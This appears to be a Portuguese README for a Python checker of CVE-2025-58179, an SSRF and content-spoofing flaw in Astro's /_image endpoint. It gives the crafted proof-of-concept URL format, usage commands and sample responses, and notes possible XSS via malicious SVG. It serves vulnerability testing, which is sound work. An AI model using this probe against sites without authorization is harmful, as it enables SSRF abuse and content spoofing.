
Script em Python para verificar vulnerabilidades de SSRF e falsificação de conteúdo (CVE-2025-58179) no endpoint `/_image` do Astro, com geração automatizada de URLs de PoC e verificação de resposta HTTP.
CVE-2025-58179-Check é um script Python simples para verificar a vulnerabilidade SSRF (Server-Side Request Forgery) / Content Spoofing no endpoint /_image do framework Astro.
Esta vulnerabilidade é rastreada como GHSA-qpr4-c339-7vq8 e CVE-2025-58179.
Esta vulnerabilidade afeta sites Astro que usam o adaptador @astrojs/cloudflare com configuração output: 'server'. O endpoint /_image, que deveria otimizar imagens, falha ao validar corretamente o parâmetro href.
Isso permite que um invasor faça o servidor buscar e servir conteúdo de qualquer domínio externo não autorizado. O impacto pode ser SSRF e, se o conteúdo externo for um arquivo malicioso (como um SVG contendo scripts), pode levar a Cross-Site Scripting (XSS).
Este script automatiza o processo de teste para verificar se um site é vulnerável a este problema.
Status 200 com Content-Type: image/*).requests (apenas se usar a funcionalidade de verificação)Você pode instalar o requests usando pip:
pip install requests
CVE-2025-58179-Check.py.chmod +x CVE-2025-58179-Check.pyEsta opção apenas imprime a URL PoC codificada. Útil se você quiser testar manualmente no navegador ou com outras ferramentas.
Comando:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_IMAGEM_EXTERNA>
Exemplo:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg)
Saída:
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
Esta opção gera a URL e envia imediatamente uma requisição HTTP GET para verificar a resposta do servidor.
Comando:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_IMAGEM_EXTERNA> -r
Exemplo:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg) --request
Se o servidor retornar código 200 e o tipo de conteúdo for imagem, isso indica que o servidor buscou e serviu conteúdo externo.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 200
[+] Content Type: image/jpeg
[+] Server returned image content - Potential vulnerability detected!
Servidores corrigidos ou configurados corretamente rejeitarão requisições a domínios externos não autorizados, geralmente retornando status 4xx.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 400
[+] Content Type: text/plain;charset=UTF-8
[+] Client error - Resource might not be accessible
[!WARNING] AVISO
- Este script foi criado para fins educacionais e de teste de segurança legítimo.
- O usuário é totalmente responsável por suas ações. Não use este script em sistemas sem permissão.